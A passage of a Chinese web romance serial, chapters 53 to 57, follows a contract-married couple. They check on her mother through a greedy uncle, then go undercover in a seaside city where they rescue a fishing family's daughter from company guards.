邵寂野没什么好脾气:“向总现在在家吗?”
“我……没在家。邵总有什么事?您尽管吩咐就行。”
“在公司?”
“也没有……”
邵寂野冷笑了一声:“小琵琶精的琴声这么迷人吗?向总也是年过半百的人了,没想到还这么有艺术情操呢。”
向晚微微看了他一眼。
邵寂野居然也知道小琵琶精?
向天健的声音支支吾吾,也有些尴尬:“邵总,是不是我们家向晚又惹您生气了?要不这样,你让她回娘家吧,我这个做二叔的好好教育教育她。”
“你?你能教育她什么?”
“教育她怎么伺候好自己的丈夫呀!”
邵寂野也没给他留面子:“我又不是小儿麻痹生活不能自理,我要别人伺候?”
向天健被怼得没了面子,整个人都蔫了下去,“那您找我是……”
“我岳母的电话没人接,向晚很担心,你立刻回家看一下,给我答复。”
“现在吗?”向天健弱弱地解释:“现在不行呀,我现在真的走不开。”
邵寂野冷笑:“吃药了?药劲儿还没过?”
向天健干笑了两声:“要不我派人回去看看行吗?”
“不行。”邵寂野斩钉截铁的拒绝,然后冷声道:“半个小时,如果你不回电话,我没听到我岳母的声音的话,下个月的尾款就别想收了。”
“别别别,我这就回去,这就回去。”
邵寂野直接挂了电话。
他抬眸扫了向晚一眼:“别担心,应该没什么事。向天健看着张牙舞爪,其实最胆小怕事。如果你妈妈真的有事,你不会放过他的,他也怕你破釜沉舟,什么都不要只想搞死他。”
向晚微微点了点头。
她这个二叔是什么德行,她自己心里也有数。
早些年仗着爷爷奶奶护着他,各种吃爸爸的喝爸爸的,什么便宜都要占。
爸爸真的动了怒要把他送去戒毒,他就怂了,痛哭流涕地求原谅。
说白了,就是很欺软怕硬的一个人。
爸爸去世后,他看着柔弱的寡嫂和年轻的侄女就起了坏心,趁着向晚忙着借钱给妈妈治病无暇顾及,威逼利诱几个大股东把股份低价卖给了他。
等向晚安顿好妈妈的时候,一切都已经成了定局。
但是向晚嫁给了邵寂野之后,他虽然言语上也不依不饶,但还是不敢太过分的。
对寡嫂虽然嫌弃,但也不得不照顾着。
毕竟向晚的身份是邵太太,邵寂野不搭理她归不搭理她,但是欺负她就是打邵家的脸,向天健也不太敢。
再加上这几年下来,向晚已经被生活磋磨了掉了所有的光环,从一个温柔知性的大家闺秀变成了一个在夹缝中讨生活的老油条。
邵寂野有句话说的很对,她现在就是属泥鳅的。
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>如果不够滑溜,怕是谁都能捏死她。
邵寂野问她:“真不给你秦叔打个电话了?”
向晚摇了摇头,问道:“你刚说他吃药了,他是不是……染上毒了?”
“想这么美呢?”
向晚讪笑:“如果是的话,也算是好事一桩。他这种人,活在世界上没有任何价值。”
邵寂野顿了顿,轻声说道:“刚刚听他那个意思,应该是正在跟小琵琶精在一起。”
向晚瞪大了眼睛:“他们两个一起吸啊?”
邵寂野忍俊不禁,伸手在她头上轻轻点了一下:“不是那种药,没有那么严重。”
“那是哪种?”
邵寂野挑了挑眉:“一男一女,还一时半会儿走不开,你觉得会是什么药?”
向晚咬住唇。
秒懂。
“你二叔怎么说也是五十多的人了,你不是说了么,男人过了二十五就是六十,他都两个二十五了,不吃药还能办成事儿?”
向晚狡辩:“我什么时候说了?我没说。”
“不承认?”邵寂野点了点头,“你忘了你那次喝多了耍酒疯?”
向晚完全没印象了。
邵寂野在手机里翻找了一圈,最后点开了一个视频,把手机屏幕翻转过来给她看。
画面很熟悉,是浅枫苑门口的监控。
邵寂野开着车从外面回来,自己先下了车,然后从副驾驶上抱下来一个人。
向晚双颊酡红,在他怀里乖得像一只猫,沉沉地睡着。
锦绣听到动静,也迎了出来:“先生,太太她这是……”
“喝多了,你去给她放洗澡水,再煮点解酒汤。”
“好嘞,我这就去。”
邵寂野正要抱着向晚进别墅,向晚就开始呜呜的哭,然后弱弱地喊着:“我不进去,不要带我进去。”
邵寂野一脸无奈:“里面有老虎吗?怕什么。”
向晚哭的更委屈了:“今天是周末,进去了就要被睡,不是说男人过了二十五就是六十吗,为什么他都过了六年了,还这么猛啊!”
明明是抱怨,可没有男人听到这话能不开心的。
邵寂野也一样,他唇边微微挂着笑,把她往怀里搂了搂:“谢谢夸奖啊,邵太太。”
第五十三章 分不分的,以后再说
画面戛然而止。
向晚已经有点魂游天外了。
这是什么时候的事?
她一点印象都没有了。
“半年前,我们去参加城东陈家的寿宴。”
向晚顿时想起来了。
陈家是行伍出身,老爷子是从政的,一家人都是北方人,特别能喝。
邵寂野带她去参加陈老爷子的寿宴,陈老爷子很喜欢说话得体大方温柔地向晚,向晚一个晚辈也不好推辞,只能跟陈老爷子碰了几杯。
谁曾想,陈家的酒都是60°的高度烈酒。
几杯下肚,向晚就有些头晕了,最后怎么回的家都不清楚。
第二天锦绣倒是告诉她了,是邵寂野送她回来的。
但她根本不知道,那天在家门口还发生过这样的事。
更没想到,自己居然把心里一直以来的话说了出来……
邵寂野问她:“真的很不舒服吗?”
向晚说:“那天的酒真的太烈了,喝完我好几天走路都是飘的……”
“我问的是,我真的让你很不舒服吗?”
向晚有些尴尬:“就是……如果频率能低一点,再温柔一点,就更好了。”
邵寂野叹了口气:“一周就两次,这频率还能怎么低?”
“比如,一个月一次?”
邵寂野斜了她一眼。
向晚更后悔把温甜甜打发走了,这五十万她宁愿不挣,也好过现在天天晚上都得强打着精神干体力活。
邵寂野没好气地说:“你不如自己说让我去当和尚。”
向晚小声嗫喏:“你身边也不是没有其他女人,不至于当和尚吧?”
邵寂野蹙眉:“你叽里咕噜说什么呢?”
“没什么,那个……我二叔还没回电话是吧?他可真磨叽。”
向晚这话题转的有些硬。
邵寂野也听出来了,但也没说什么,只是语气放了柔了一些:“上次我承认我有点失控,让你受伤了,真的对不起。以后……我会尽量克制自己,温柔一些的。”
向晚迟疑着点了点头:“好。”
“但频率不能再低了,”邵寂野说:“真不能了。”
向晚想了想,反正也就最近这一段时间。
等这边的事办完回去,白荷也就从长白山回来了,到时候她就解放了。
向晚问:“我们预计在F市停留多久?”
邵寂野以为她急着回去看妈妈,思索了一下说:“尽量在半个月内结束。”
半个月。
向晚点头:“好。”
过了一会儿,向天健的电话打了回来。
邵寂野蹙了蹙眉,明显他也很厌恶向天健,语气有些微微地讽刺:“向总还挺快?”
不过很快,他就变了神色,整个人显得非常正气且恭敬:“对,妈,我是邵寂野。小晚打不通您的电话很担心您的身体,我让她跟您说话。”
邵寂野把手机递给了向晚:“妈打来的。”
向晚不疑有他,赶紧接过来:“喂,妈。”
妈妈的声音有些慈爱,还是一如既往的温柔:“刚刚原来是你给我打电话呀,我没有存小邵的号码,还以为是什么推销电话呢,就没接。”
向晚听到妈妈的声音,鼻尖就开始酸:“妈,你没事就好。”
“我能有什么事?你二叔不敢对我怎么样的。”
“我知道,我就是担心你。最近发生了一些事,等我回去了立刻回去看你。”
妈妈劝她:“你不用担心妈妈。你怎么不用自己的手机给我打呢?”
“我……”
向晚抬眸,看了罪魁祸首一眼。
邵寂野已经去了玄关,正站在酒柜前选酒。
当着他的面,向晚肯定不能说手机是被邵寂野一脚给送上西天呢,只能说:“不小心弄碎了,还没来得及买新的。”
“原来是这样啊。你放心,妈妈一切都好。之前妈妈还担心你跟小邵是不是感情不和,现在看到你都能用他手机给我打电话了,可见你们的关系还不错,这样妈妈就放心了。”
“妈,我都说了,我们好着呢。”
“好,是妈妈想多了。小晚,我们向家虽然败落了,现在天隆集团需要仰仗邵氏的鼻息存活,但是妈妈还是要告诉你,人生在世,你过得开心才是最重要的,如果哪一天你在邵家过得不开心了,不要因为家里的事勉强自己留在邵家,一定要为自己而活,知道了吗?”
不知何时,邵寂野已经选好了酒回来了,妈妈刚刚说的话,他应该都听到了。
向晚轻轻应着:“知道了妈。”
“当然,妈妈说的这都是后话了,妈妈还是希望你跟小邵两个人能够和和美美的,好好过你们的小日子。”
向晚没接茬。
她顿了顿,说道:“妈,等我回去了,
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准备把你从向家接出来。我联系了一个很好的疗养院,你住在疗养院里会更舒服一些。”
“不用这么麻烦……”
“妈,”邵寂野俯下身,把脸贴在向晚的脸旁边,手机被夹在了中间,他沉声说:“那个疗养院我也知道,确实环境和条件都很不错。小晚和我都不太放心二叔的为人,去疗养院其实是更好的选择。”
“可是……”
“妈,钱的问题您不用担心,也不用觉得这样会如何。我是向晚的丈夫,我的钱就是她的钱,她的钱她想怎么花就怎么花,您花您闺女的钱,名正言顺。”
妈妈顿时眉开眼笑,声音里都透着喜悦:“小邵,小晚从小被我和她爸爸捧在掌心里长大,没让她吃过一点苦,所以很多事情都不会做。现在她爸爸不在了,我又成了这个样子,小晚以后还要靠你多照顾……”
邵寂野说:“她什么都做的很好,您放心吧。而且——”
他歪头看了看向晚,柔声说道:“以后我也会把她当宝贝一样捧在掌心的。”
“好,好,有你这句话,妈就放心了。”
挂了电话,向晚犹豫再三,还是说出了方才一直憋在心里的那句话:“你这样骗我妈不好。”
本来就是协议夫妻,以后要是一拍两散了,她该怎么跟妈妈解释邵寂野“变心”的事?
妈妈不得难过死。
邵寂野给她倒了一杯红酒,然后又给自己倒了一杯,轻轻抿了一口:“骗不骗的,以后再说。”
向晚有点不开心:“你还不如不要夸这个海口,以后我们分开了,让我妈以后怎么接受。”
邵寂野语焉不详,一仰脖把半杯红酒喝了个精光,喉结上下滚动,吞咽了个干干净净:“分不分的,也以后再说。”
他伸手,托住她手里的酒杯,直到杯口凑到她唇边。
“尝尝,这个酒不错。”
“我不太喜欢喝酒。”
“那我来。”
邵寂野拿过她的杯子,一饮而尽。
不过这次却没有咽下去,而是含在口中,下一秒就扣着她的后脑封住了她的唇。
酒液被慢慢渡了进去。
这酒也有点烈,向晚只觉得喉咙都是辣的,微微退开了一些,避开他的吻:“我不是很喜欢喝酒。”
他的吻却不依不饶地追了上来,“可我喜欢,看你喝醉的样子……”
第五十四章 邵寂野大概是有病
应该是顾忌到她的身体还没好利索,邵寂野并没有真刀**的做。
但是边缘的是一样都没少。
不同的是,他真的温柔了许多,时不时会停下来查看她的感受。
倘若她蹙一点眉,邵寂野就会抱着她耐心的哄。
向晚有时候觉得,邵寂野大概是有病,他也知道自己这方面有病,会给女伴造成一定的困扰,所以在这方面就格外好说话。
也可能是现在他身边的确没有其他可以选择的女性了,所以她说什么,他也都愿意配合,连带着床下的脾气也好了不少。
向晚迷迷糊糊的,听到有人按了门铃。
邵寂野跟外面的人说了两句话,然后提着两个很大的袋子进来了。
向晚还没有完全清醒,意识也有些迷蒙,“谁来了?”
“服务生,”邵寂野把两个大袋子放在沙发上:“让他们帮忙去买了点衣服,方便我们换。”
这次来F市来的匆忙,几乎没带什么换洗衣物。
向晚下了床,翻看了一下袋子里的衣服。
她原以为邵寂野这种地位的人,非手工定制不穿,非奢品大牌不买,可是这个袋子里装的都是很普通日常的男款衣物,看起来……还有些廉价。
某多多上应该不超过三十块的那种。
向晚微微有些不解。
邵寂野却显得有些兴奋,从里面挑出来一件浅灰色的T恤衫就往自己身上套。
“怎么样,还行吗?”
他展示给向晚看。
向晚舔了舔唇,看着衣服上深深的折痕,有些艰难地说:“要不你脱下来,我去给你熨一下。”
邵寂野低头,用手扯了扯折痕的两侧,无所谓道:“没事,穿一会儿就没了,大老爷们的哪儿那么讲究。”
向晚微微诧异。
那之前每次周末回家,都让她给他的西装和衬衫都熨的平平整整才肯穿算什么?
算她倒霉?
邵寂野已经不由分说地从另一个袋子里取出来了一个礼盒。
看起来很精致,上面印着某大牌的logo。
他递给她:“你的,看看喜不喜欢。”
向晚狐疑着接过,拆开外面精致的包装,里面是一条浅蓝色碎钻的裙子,波西米亚风格,但也不完全是宽松版,上半身很修身,从腰部以下就成了很大的裙摆,上面上点缀着一些闪光的碎钻,倒是跟海边很适配。
这要是爸爸还在的时候,她应该是会很喜欢这个款式的。
女孩子谁不喜欢飘扬的裙摆和闪亮亮的装饰?
只是她是个画家,要拿调色板和颜料,所以上半身必须利落一些,修身款最合适不过了。
“我今天要穿这个吗?”向晚问道。
邵寂野说:“如果不喜欢的话,我让他们来换。”
说着,他就要去打电话。
向晚连忙按住他的手:“不是,我的意思是,我们两个穿的是不是……差距有点大?”
邵寂野扬眉,带着促狭地笑意:“想跟我穿情侣装啊?”
“不是……算了,你这么做肯定有你的用意,我随意。”
昨天在酒店餐厅她就预感到了,邵寂野最近肯定要去人们口中说的金灿灿的那座邵氏大厦看看究竟。
能在F市把邵氏的口碑坏成这样,他肯定忍不了。
不过对方既然是邵氏的元老,还是跟他爷爷一个辈分的,想必处理起来难度也很高。
向晚虽然不知道邵寂野是打算怎么做,但也明白做什么事之前一定要先弄清楚具体情况的道理。
邵寂野这些年在社交媒体上也有曝光,难保不会被邵氏分公司的人认出来。
想知道更确切的消息,只能乔装。
她轻声问道:“所以我们今天是要假扮不知情的游客吗?”
邵寂野点了点头:“嗯,先去周围看看。”
“那我们两个的身份是什么?”
他们两个这衣服的差距之大,总不能是豪门公主与她的小白脸吧……
邵寂野的眼神中划过一丝意味不明的笑意,很快消失:“就普通游客。”
他没再继续说,向晚也识趣的不再继续追问了。
邵寂野催促她:“去换衣服
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。”
向晚捧着衣服去了衣帽间,不得不说,邵寂野挑女装的品味的确不错。
她皮肤白,浅蓝色这个颜色一般黄黑皮穿上非常灾难,但是穿在向晚身上,却衬得她肌肤胜雪,白的像是汝窑出来的瓷器一样,非常抢眼。
无袖吊带设计,让脖子以及前胸大片的雪白肌肤都裸露在外,露出纤长的脖颈和小巧精致的锁骨。
吊带上的装饰故意设计的很长,从她的肩头垂下来,更显得仙气飘飘。
向晚对着镜子,把头发散了下来,侧编了一下,乌黑浓密的秀发被编成一条松弛随性的辫子,垂在右侧肩膀,整个人都显得活泼又靓丽。
更重要的是,不知道是品牌自带的还是邵寂野特别嘱咐的,装衣服的盒子里还有一对胸贴。
向晚提着裙摆走出衣帽间的时候,邵寂野正背对着她站在窗前打电话。
听到她的脚步声,回头看了一眼,微微愣了一下,然后快速收回目光,继续对电话那头说道:“……对,就按照之前那样走流程就行。让钟灵核算一下人员成本,报表发到向经理邮箱。”
挂了电话,向晚问道:“猎头挖到人了?”
邵寂野把手机按灭,习惯性的想把手机装进西装内侧的口袋里,可是一摸才发现,他身上现在穿的并不是西装了,而是淘宝款。
他微微颔首:“上次你发给我的名单我看过了,其中有一个小伙子的简历挺有意思,就让猎头去挖了。”
“他很贵吗?”
“很贵,比得上公司中层了,”邵寂野说:“但是技术人才一直都是稀缺的,我觉得值。”
向晚点头:“你看人的眼光一向很厉害,你很看好他,代表他一定有过人之处。”
邵寂野觉得有些新鲜:“我们当了三年的夫妻,我第一次从你嘴里听到夸我。”
“没有吧,我之前也会夸你啊。”
“你夸我什么了?”
“夸你长得帅,能力强,英明神武,雄姿英发……”
邵寂野没好气地打断她:“你听听这像是真心话吗?”
第五十五章 向晚,你是不是有体香啊?
向晚不得不承认,她确实有拍马屁的成分。
对方是她领导,也是她当中间商的唯一金钱来源,她可是很有职业道德的,尽管邵寂野不怎么待见她,该拍的马屁还是要拍。
锁骨上微微感觉到了一点点热意。
不知何时,他凑近了些,声音似乎低哑中带着些沉醉:“向晚,你是不是有体香啊?”
他的呼吸炙热,向晚想起昨晚那些让人羞红了脸的场面,微微用手托着他的下巴轻轻推开:“没有,我又不是香妃娘娘。”
邵寂野任她托着推远,完全不反抗:“可我总觉得你身上的香味跟其他人不一样。”
“上次不是说了,是沐浴露的味道。”
邵寂野的目光一直凝在她纤长的脖颈上。
眼神微微闪了闪,轻笑:“我就说少了点什么,这里太空了,要是多一条项链就好了。”
他牵住她的手,轻声道:“走,带你去买项链。”
他们出门打了辆车,直奔邵氏分公司那栋金色大楼。
司机一听,有些不好意思:“去不了。”
向晚疑惑地问道:“为什么去不了?”
“那是一个半岛,是F市海景最好的地方。之前因为方便停船,所以一直是当地渔民在那里聚居,我们老一辈人经常去半岛上买最新鲜的鱼虾蟹。但那是自从邵氏占了那块地盖了大厦之后,就不让普通人进去了,车子最近只能开到外面的步行街上,那儿也挺热闹的,你们就在那儿逛逛吧。”
向晚看向邵寂野,等他决定。
邵寂野点了头:“行。”
出租车司机把他们放在了临近海边的一个夜市上。
这里的确很热闹,很多卖吃的喝的,还有小玩具小饰品的,因为也算是旅游城市,所以人头攒动,摩肩接踵。
向晚目测了一下,这里距离半岛上那座最显眼的建筑,大概有个一公里左右。
那半岛上除了几个警卫之外,几乎没什么人。
跟这边的红尘滚滚形成了鲜明对比。
“姐姐,你好漂亮呀,买一条我妈妈编的项链吧!可便宜了,只要三块钱!买两条的话可以给你算五块钱哦!”
向晚低头一看,只见是一个大约只有十岁左右的小女孩,穿着朴素,但长得乖巧可爱,高高的把怀里的一个破旧的老式木头箱子举了起来,里面摆着各式各样的项链。
只是木头箱子对她来说还是太重了,小姑娘举得很吃力,两条手臂微微颤抖着,却还在咬牙硬挺。
由于人多,刚刚的出租车司机还没来得及走,一看这个状况,连忙跑过来提醒她:“你们是来这里旅游的吧?这里好玩归好玩,贼也多,看好你们的手机。”
小姑娘似乎已经受惯了这些冷眼,只是咬了咬唇,继续努力地举着木头箱子:“姐姐,你买一条吧,全都是我弟弟下海去摸的,你要是嫌贵的话,还能便宜的。”
正说着,不远处有几个戴红袖章的人注意到了这里,立刻拨开人群冲了过来:“诶诶诶,小孩儿!你交摊位费了吗就来这里摆摊?”
小姑娘吓了一跳,什么都顾不上了,连忙合上木箱子就要跑。
可脚下不知道踩到了什么,一下子重重摔倒在地。
木头箱子摔在地上,四分五裂。
里面的项链也散落了一地。
有的游人根本躲闪不及,被木头碎片划伤,还有的一个不小心踩到了那些项链上。
说是项链,其实就是海里的一些小贝壳或者小螺,钻了孔之后用便宜的彩绳穿起来,那些贝壳也都是很普通便宜的样式,有些还带着些豁口,并不精致。
摔倒在地的小姑娘被巡逻员从地上一把拉了起来,厉声呵斥道:“问你呢,交摊位费了吗?”
小姑娘在他手里挣扎着,哭着咒骂道:“邵家的走狗!你放开我!”
巡逻员顿时来了脾气:“你敢骂我?!小不点,你知道邵家在F市意味着什么吗?”
“我爸说了,邵家就是**不吐骨头的妖怪!你就是妖怪的走狗!也是吃肉人喝人血的吸血鬼!”
“好你个小东西,我今天就替你那个不知道天高地厚的爸教育教育你!”
巡逻员单手拎着小姑娘就往外拖,有路人看不下去,帮忙劝阻:“她还是个孩子,你们别这样……”
可巡逻员指了指自己袖章上硕大的“邵”字,威胁道:“旅游就好好旅游,少多管闲事。”
小姑娘终究年龄还小,害怕地直哭,但
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是一边哭一边骂:“邵家的人就是坏蛋!你们都是大坏蛋!占了我家不给钱,还把我们赶出来,你们全都是坏人!”
向晚实在是看不下去了,正要上前救人,邵寂野拉了她一把:“你别去。”
向晚顿时心头火起:“那小姑娘还那么小,被一群男人带走了还不知道会发生什么事呢!”
“你好好站着,我去。”
邵寂野快步追了上去。
巡逻员已经把小女孩拖出去了老远,邵寂野跑了一会儿才把人拦下来。
旁边的小摊贩委婉地说道:“姑娘,你快去把你男朋友叫回来吧,邵家不能惹。”
“是啊是啊,更何况你们还是外地来的,不知道本地的水深水浅。别管邵家的事,要不然真不是开玩笑的。”
向晚观察着远处。
邵寂野似乎正在跟巡逻员交涉什么,目前看来应该没什么事。
向晚皱着眉问道:“邵氏在F市一直这么霸道吗?”
小摊贩缩了缩脖子:“姑娘你可小点儿声!唉,邵氏已经在F市盘踞了几十年了,整个F市所有的房地产行业几乎都被邵氏把持着,能不霸道吗?刚刚那个小女孩,她爸妈都是渔民,就是前面渔村的。三年前邵氏看中了那个半岛,就把整个村的房子都推平了,等渔民们打渔回来,家都没了……”
向晚愤怒不已:“没报警吗?或者在互联网上发声?”
“报警没用,警察也不敢得罪邵氏,F市一半的税收都要靠邵氏呢,连领导都得给面子,谁敢得罪他们?这几年也有些人发短视频**,但是过不了多久就被封号了……”
向晚突然有点理解邵寂野了。
邵老太太念着往日的情分,纵容分公司的股东们肆意妄为了几十年。
他们的确曾经在邵氏最困难的时候帮助邵氏度过难关,可现如今时代发展,邵寂野接手邵家之后进行了全面的改革,主营业务从传统房地产转向互联网AI等新兴领域。
发展新领域,就意味着要提拔新的人才,不论是管理岗还是技术岗,都需要新鲜血液注入。
但这样一来,就动了那些老山头们的利益。
既得利益者,谁愿意把已经吃到嘴里的肉吐出来的?
第五十六章 姐姐和叔叔
邵寂野宁可让外界都以为自己是个烂**男,却怎么样都不愿意娶谭璇,应该也是因为这个。
谭家是做建材行业,一旦两家联姻利益绑定,为了让利益最大化,谭家肯定会给邵寂野施压,让他继续走房地产老路,放弃新兴业务板块。
这恐怕也是邵老太太的意思。
她当了一辈子铁娘子,孙子一上来就要把自己辛苦守了几十年的基业全盘否定另起炉灶,她必定无法接受。
邵寂野和邵老太太之间的矛盾,或许并不仅仅是邵寂野要娶谁进门,更关键的是话语权的争夺。
至于白荷……
恐怕只是他们祖孙两个博弈中的无辜牺牲品罢了。
向晚突然有些同情白荷,她只是谈了一场恋爱,差点被迫送了命,就算现在活着,也得一直躲躲藏藏不能见人,而且还得忍受自己的爱人跟别的女人秀恩爱,看着所有人叫另一个女人邵太太。
就连两个人一起出去旅游,也得用另一个女人的身份做掩护才敢出门。
向晚一直以为自己这三年过得谨小慎微累心累身,但她的爱人心里一直有她,身边也没有过其他女人。
白荷就不同了,那么多莺莺燕燕在他身边从未断绝,就连名分也得由另一个女人来担。
邵寂野跟白荷想要光明正大的在一起,恐怕真得等到邵老太太百年之后才有可能了。
想到这里,向晚不禁有些唏嘘。
原来邵寂野这样高高在上的人,也有无可奈何的事。
她蹲下来,把还完好的那些项链都一条一条捡了起来,还好路人们都比较注意,只踩碎了五六条,剩下的几乎都还算完好。
“姑娘,你别捡了,快去把你男朋友叫回来吧!”
向晚倒是不太担心。
他可是邵寂野,大不了表明身份就行,网上到处都是他的照片,一对比就能认出来了,应该没什么危险。
而且邵寂野也说了,让她在这里等。
向晚把所有项链都捡起来,再去看的时候,远处哪里还有人?
不但巡逻员和小女孩不见了,连邵寂野也不见了。
向晚犹豫了一下,还是快步追了过去。
走到方才他们所在的地方才发现,这里已经脱离了夜市的喧闹和明亮,四周几乎没人,路灯也是昏黄一片,还有一人多高的芦苇,视线受阻,很难找人。
“邵……”
她原本想喊他的名字,可刚喊出一个字,裙摆就被轻轻扯了扯。
向晚吓了一跳,差点惊叫出声。
“姐姐别怕,是我。”
向晚仔细分辨了一下,才看到躲在芦苇丛后面的女孩就是刚刚卖项链的那个。
她脸上脏兮兮的,小手也脏脏的,看着自己在她裙子上留下的泥巴手印,她也有些内疚:“对不起姐姐,把你的裙子弄脏了。”
向晚警惕地观察了一下,周围应该是没人。
她蹲下,小声地问道:“你没事吧?还好吗?”
小女孩点了点头:“我没事的,是叔叔救了我。”
“……叔叔?”
“就是你男朋友呀!他好厉害哦!就像电视上演的武林大侠!”
向晚问道:“他人呢?”
“他让我躲在这里,自己把那几个巡逻员引开了。他说让我就躲在芦苇丛里别动,一会儿姐姐就会过来救我的。”
向晚拉着女孩的手,把她从芦苇荡里拉了出来。
芦苇丛下面都是软泥巴,小女孩的鞋子裤子上全都是泥。
她也知道自己身上脏,出来了之后就立刻松开了向晚的手,怕把她身上也弄脏了。
“姐姐,你真好看。”小姑娘有些羡慕的看着她:“像白雪公主。”
向晚忍俊不禁:“谢谢,你也很可爱哦。”
小女孩开心极了,还有些自卑:“姐姐,你和叔叔都好人。其他人都说我是脏孩子,嫌我身上臭,只有你和叔叔夸我可爱,会牵我
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的手。”
向晚有些惊讶:“叔叔也牵你的手了吗?”
小女孩想了想,摇头:“没有,但是叔叔把我从坏人手里抱下来的,坏人想来抓我,他就一直单手抱着我,保护我。”
向晚更讶异了。
邵寂野的洁癖消失了?
她倒是无所谓,以前常年跟颜料画笔打交道,身上就不可能干净得了。
但邵寂野,她这三年认识了个假邵寂野吗?
怎么好像一来F市,整个人都跟变了一样。
“姐姐,叔叔真的好厉害哦,三两下就把他们好几个人都打趴下了,他不会真的是大侠吧?”
向晚略微有些尴尬的笑了一下。
如果孩子知道她口中的吸血鬼大恶魔就是邵氏集团老大的话,不知道还会不会这么觉得。
“姐姐,我们现在怎么办呀?我们要不要去救叔叔?”
向晚思索了一下,问道:“刚刚那些坏人知不知道你家住在哪里?”
小女孩摇了摇头:“他们才不管我们去哪里呢,恨不得我们全都**才好。”
那就说明,小女孩家人暂时是安全的。
可是邵寂野……
他走的匆忙,也没交代他的安排,向晚只能凭借自己对他的了解去猜。
她沉吟了一会儿,说道:“走,我们回去。”
“回我家吗?好啊好啊,我妈妈做的鱼可好吃了!”
“不,”向晚说:“我们回夜市去。”
既然警局也不是完全可靠,那就去人多的地方。
夜市上人来人往,而且大多数都是来旅游的游客,邵氏的股东能在F市一手遮天,管得了本地人,但是外地人拍到点什么,他们就不好处理了。
邵寂野的安危倒是不用担心,但是他应该还不想暴露身份,所以应该会想办法脱身,到时候也会去夜市上找她们。
小女孩不明所以,但十分信任向晚,任她牵着快速回到了夜市的人流中。
第五十七章 脾气很好的邵先生
路上,向晚知道了小女孩的情况。
她叫珍珠,家里还有个弟弟叫青贝,母亲身体不好只能在家,一直是靠父亲出海打鱼为生,日子过得清贫,但也算幸福。
三年前邵氏看中了渔港半岛的地,趁着渔民们都出海,连夜推平了整个村子。
打渔也是个很看季节的行业,在丰鱼期几乎全村的青壮年都出海了,家里就只剩下一些老弱妇孺,看着大型挖掘机把自己的家毁了也毫无办法。
后来很多渔民也闹过,告过,但是毫无用处。
邵氏在F市实在是无人能撼动,大家怨声载道,但无计可施。
最后大家认了命,好多背井离乡去了大城市打工,但是珍珠的母亲走不了太远,所以他们一家就只能被迫留了下来,住在自家的渔船里,停靠在一处人迹罕至的礁石旁边。
珍珠和弟弟会来海边捡一些好看的贝壳回去,由妈妈做成简易的项链,再拿来夜市卖。
但是这里的巡逻员也是邵氏豢养的烈犬,要在这里摆摊也得交钱,珍珠只能背着一口又沉又重的木箱子到处跑,躲避巡逻员。
她们回到夜市上的时候,已经有环卫工人在清理地上的木头碎片了。
珍珠顿时有些难过,背过身去抹眼泪。
向晚连忙把自己刚刚捡起来的项链给她看:“箱子没了,但是项链还在,姐姐全部买下来,好不好?”
珍珠咬着唇,嗫喏着说:“姐姐,那是我们家唯一一个箱子了。”
“那……还有其他的东西吗?背包,或者是大一点的布?”
珍珠依旧是摇头:“我们家的东西都被埋在那下面了——”
脏乎乎的小手指着不远处半岛上那座金碧辉煌流光溢彩的大厦。
一边是贫困艰难,一边是纸醉金迷,这样的对比让向晚深深触动。
她轻轻握着珍珠的小手,柔声说:“没事的,会好起来的。”
向晚身上没有手机,想给邵寂野打个电话问问情况也没办法,只能带着珍珠在夜市上继续逛。
珍珠毕竟还是个小朋友,看到夜市上有卖小馄饨的,眼睛都有些放光。
不过她被教的很好,并没有主动说什么,甚至如果不是向晚无意中看到的话,根本不知道小姑娘饿了。
时间已经快临近午夜了,其实她也有点饿了。
只是身上没有手机,没办法付钱。
正犹豫间,旁边有个年轻男人主动问道:“是不是手机丢了呀?我帮你们付吧。”
向晚本来想拒绝,可是小珍珠的肚子适时的咕噜噜响了一声。
她是个成年人,饿一饿没关系,小孩子还在长身体,向晚有些心疼她。
年轻男人笑着说:“没关系的,一碗馄饨而已,没多少钱。”
说着,他对摊主说:“要两碗馄饨。”
盛情难却,向晚只能道了谢,然后轻声说道:“一会儿我……我老公回来了,把钱还给你。”
年轻男人微微有些失落:“你结过婚了?”
“是的。”
“我没看到你的婚戒,还以为你是单身。”
向晚说:“不太习惯戴婚戒。”
“你老公怎么丢下你一个大美女自己走了?他不担心你的安全吗?万一遇到坏人怎么办?”
珍珠原本还趴在馄饨铺旁边眼巴巴地等着老板给她做,听到这句话立马像是护犊子的小母鸡,整个人都冲在了前面,把向晚护在身后:“哥哥,姐姐已经有男朋友了,她男朋友又高又帅还特别能打,你可打不过他哦。”
年轻男人也笑了:“行,我知道了。不过馄饨我还是会请你们吃的,他们家味道特别好,就当是我尽一下地主之谊了。”
珍珠还是很懂礼貌的:“谢谢哥哥。”
“不客气,你们慢慢吃,我先走了。”
老板把馄饨端了上来,珍珠真是恶狠了,顾不得烫,嘶哈嘶哈的就往嘴里送。
向晚怕她烫着,问老板借了个扇炉火的小扇子,在旁边帮她扇风。
邵寂野回来的时候,手里拎着一串糖葫芦,站在马路另一侧的阴影里,望着对面那一处昏黄灯光下的场景。
向晚的头发不知什么时候有些散开了,有一些发丝被风吹拂着盖住了她半张脸,但还隐隐约约能看到她小巧精致的下巴,还有微微勾起的唇角。
她侧坐着,手里拿着一把普通得不能再普通的小扇子,给正在狼吞虎咽的小女孩扇着风。
微风吹拂着她的发丝也微微飘在空中,整个人美丽但是柔和,一点也不咄咄逼人,反而是一种类似于棉花一样的感觉,还带着微微的馨香。
邵寂野突然有些舍不得打断这样的美好。
他站在原地看了好一会儿,直到旁边的人催促他:“都已经过去两个绿灯了,你怎么还不过马路?”
邵寂野这才如梦初醒。
他缓缓走了过去,在她身后站定。
馄饨铺老板娘第一个
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注意到他:“先生,要一碗馄饨吗?”
邵寂野摇了摇头,轻声说:“不了,我来接我太太。”
向晚听到他的声音,回过头来,微微笑着:“你回来了。”
邵寂野“嗯”了一声,把手里拎着的两串糖葫芦一串递给珍珠,另一串递给她:“路上遇到的,尝尝。”
向晚很爱吃糖葫芦,在国外的那些年很少有机会吃,秦以枫每次去看她的时候,都会给她带一些。
只不过十几个小时的飞机,带过去也变质了。
秦以枫说:“坏了就别吃了,闻闻味儿就行,毕竟是故乡的东西。”
向晚让他别带了,秦以枫还是会不厌其烦的给她带。
秦以枫……
她已经失联一整天了,也不知道秦以枫有没有给她打过电话,如果打不通的话,会不会着急。
“想起什么了?”邵寂野伸手在她脸上摸了摸:“怎么皱眉头什么意思?不想吃吗?你不是最爱吃这个。”
向晚摇头:“没有,想吃的。你没受伤吧?”
邵寂野的表情这才舒展了一些,“他们那几个臭鱼烂虾的能伤的了我?”
“但是他们人多。”
